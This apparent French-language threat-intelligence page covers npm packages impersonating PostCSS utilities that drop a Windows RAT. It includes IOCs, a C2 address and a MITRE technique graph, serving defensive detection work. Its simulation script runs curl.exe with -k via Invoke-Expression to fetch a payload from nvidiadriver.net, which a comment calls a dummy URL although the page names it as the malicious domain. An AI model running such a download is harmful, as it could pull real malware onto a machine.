PostCSS se faisant passer pour un chemin de diffusion de RAT sur Windows
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Les attaquants exploitent l’usurpation de paquets npm pour diffuser un RAT Windows à plusieurs étapes. Des paquets malveillants tels que postcss-minify-selector-parser sont présentés comme des utilitaires de construction légitimes pour compromettre les environnements de développement. Une fois déclenchée, la chaîne d’infection lance un téléchargeur PowerShell qui récupère un RAT Python compilé avec Nuitka, capable de voler des identifiants et de fournir un accès à distance au shell.
Enquête
Des chercheurs ont découvert un groupe de paquets npm malveillants qui font référence à des dépendances légitimes pour paraître crédibles. L’enquête a cartographié une chaîne d’infection en couches commençant par un dropper JavaScript, passant à un téléchargeur PowerShell, et se terminant par une charge utile sophistiquée basée sur Python. En analysant les composants compilés avec Nuitka, les chercheurs ont pu reconstruire le protocole de commande et de contrôle du RAT et les commandes prises en charge.
Atténuation
Les utilisateurs doivent supprimer immédiatement les paquets npm malveillants identifiés et réviser les arbres de dépendances pour toute exposition transitive. Les organisations doivent également bloquer les domaines et adresses IP de commande et de contrôle connus. Si une compromission est suspectée, les développeurs doivent renouveler sans délai les identifiants stockés dans le navigateur et tous les jetons liés au développement.
Réponse
Les terminaux Windows doivent être examinés pour détecter des artefacts tels que %TEMP%winPatch, %TEMP%.store, et %TEMP%.host. Les enquêteurs devraient également examiner la persistance dans la clé de registre HKCURun pour la valeur csshost . Un audit complet des postes de travail des développeurs doit être effectué pour identifier les activités de shell à distance non autorisées ou des signes de vol d’identifiants.
"graph TB %% Class Definitions classDef technique fill:#99ccff classDef malware fill:#ff9999 classDef tool fill:#cccccc classDef persistence fill:#99ff99 %% Node Definitions attack_supply_chain["<b>Technique</b> – <b>T1195.001 Compromission de la chaîne d’approvisionnement : Compromettre les dépendances logicielles et les outils de développement</b><br/><b>Description</b>: Usurpation de paquets sur npm via des paquets ressemblants tels que postcss-minify-selector-parser.<br/><b>Cible</b>: Environnements de développeurs"] class attack_supply_chain technique attack_user_execution["<b>Technique</b> – <b>T1204.005 Exécution par l’utilisateur : Bibliothèque malveillante</b><br/><b>Description</b>: Déclenchée lorsque le paquet npm malveillant est importé.<br/><b>Action</b>: Exécute un dropper JavaScript encodé."] class attack_user_execution technique process_powershell["<b>Technique</b> – <b>T1059.001 Interpréteur de commandes et de scripts : PowerShell</b><br/><b>Description</b>: PowerShell est utilisé pour écrire et exécuter le script malveillant.<br/><b>Fichier</b>: ../../settings.ps1"] class process_powershell technique attack_indicator_removal["<b>Technique</b> – <b>T1070.010 Suppression d’indicateurs : Déplacer le logiciel malveillant</b><br/><b>Description</b>: Utilisation d’un domaine trompeur pour télécharger la charge utile.<br/><b>Domaine</b>: nvidiadriver[.]net"] class attack_indicator_removal technique tool_cmd_shell["<b>Technique</b> – <b>T1059.003 Interpréteur de commandes et de scripts : Shell de commande Windows</b><br/><b>Description</b>: Utilisé pour extraire le paquet de la charge utile.<br/><b>Déclencheur</b>: Exécution après téléchargement."] class tool_cmd_shell technique malware_vbs_bootstrapper["<b>Logiciel malveillant</b> – <b>VBS Bootstrapper</b><br/><b>Description</b>: Lance la charge utile principale du logiciel malveillant."] class malware_vbs_bootstrapper malware malware_rat["<b>Logiciel malveillant</b> – <b>Outil d’accès à distance (RAT)</b><br/><b>Description</b>: Chargeur basé sur Python utilisant des modules compilés avec Nuitka.<br/><b>Fonctionnalité</b>: Fournit des capacités d’accès à distance."] class malware_rat malware attack_persistence["<b>Technique</b> – <b>T1547.001 Exécution à l’amorçage ou à la connexion : Clés de registre Run / Dossier de démarrage</b><br/><b>Description</b>: Crée une valeur de registre pour la persistance.<br/><b>Valeur de registre</b>: csshost"] class attack_persistence persistence attack_evasion["<b>Technique</b> – <b>T1497.001 Évasion de virtualisation/sandbox : Vérifications système</b><br/><b>Description</b>: Utilise des requêtes WMI pour détecter les environnements virtuels.<br/><b>Commande</b>: wmic bios get serialnumber"] class attack_evasion technique attack_c2["<b>Technique</b> – <b>T1219 Outils d’accès à distance</b><br/><b>Description</b>: Maintient la communication avec le serveur C2 via des paquets POST chiffrés.<br/><b>Adresse C2</b>: hxxp[:]//95[.]216[.]92[.]207:8080"] class attack_c2 technique attack_credential_access["<b>Technique</b> – <b>T1555.003 Accès aux identifiants des magasins de mots de passe : Identifiants des navigateurs Web</b><br/><b>Description</b>: Vole les identifiants enregistrés dans Chrome.<br/><b>Fichiers cibles</b>: Données de connexion et état local"] class attack_credential_access technique %% Connections attack_supply_chain –>|conduit à| attack_user_execution attack_user_execution –>|exécute| process_powershell process_powershell –>|effectue| attack_indicator_removal attack_indicator_removal –>|déclenche| tool_cmd_shell tool_cmd_shell –>|lance| malware_vbs_bootstrapper malware_vbs_bootstrapper –>|installe| malware_rat malware_rat –>|établit| attack_persistence malware_rat –>|effectue| attack_evasion malware_rat –>|communique via| attack_c2 malware_rat –>|exfiltre| attack_credential_access "
Flux d’attaque
Détections
LOLBAS WScript / CScript (via création de processus)
Voir
Utilisation suspecte de CURL (via ligne de commande)
Voir
Énumération possible du système (via ligne de commande)
Voir
Un archive a été extrait vers un répertoire suspect en utilisant Powershell (via powershell)
Voir
Script PowerShell téléchargeant une charge utile malveillante [Windows PowerShell]
Voir
Détection de connexion réseau malveillante imitant un téléchargement de pilote légitime [Connexion réseau Windows]
Voir
Détection de l’exécution de scripts PowerShell malveillants et de chargeurs [Création de processus Windows]
Voir
## Exécution de la simulation
Prérequis : La vérification préalable de la télémétrie et de la base de référence doit être réussie.
Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés conduiront à un mauvais diagnostic.
-
Narratif de l’attaque & Commandes : L’adversaire entend établir un point d’appui sur le système en se faisant passer pour un processus de mise à jour logicielle légitime. Pour ce faire, ils utilisent PowerShell pour invoquer l’utilité native
curl.exeutility. En utilisant le-k(insecure) flag, ils contournent la validation du certificat SSL, et en spécifiant un chemin de destination dans$env:TEMPavec un nom de fichier commewinPatch.zip, ils tentent de se fondre dans le bruit des mises à jour système de routine. Le but est de télécharger une charge utile malveillante qui, une fois exécutée, fournit un accès à distance. -
Script de Test de Régression :
# Script de simulation pour déclencher la règle de détection spécifique # Remarque : Ceci utilise une URL factice pour la sécurité, mais imite la structure exacte requise par la règle. $cmd = 'curl.exe -k -o "$env:TEMPwinPatch.zip" https://nvidiadriver.net/verv1432/winpatch-xd7d.win' Write-Host "Exécution de la commande de téléchargement simulée malveillante..." Invoke-Expression $cmd -
Commandes de Nettoyage :
# Nettoyez le fichier factice téléchargé if (Test-Path "$env:TEMPwinPatch.zip") { Remove-Item -Path "$env:TEMPwinPatch.zip" -Force Write-Host "Nettoyage réussi : Fichier factice supprimé." } else { Write-Host "Nettoyage : Fichier non trouvé." }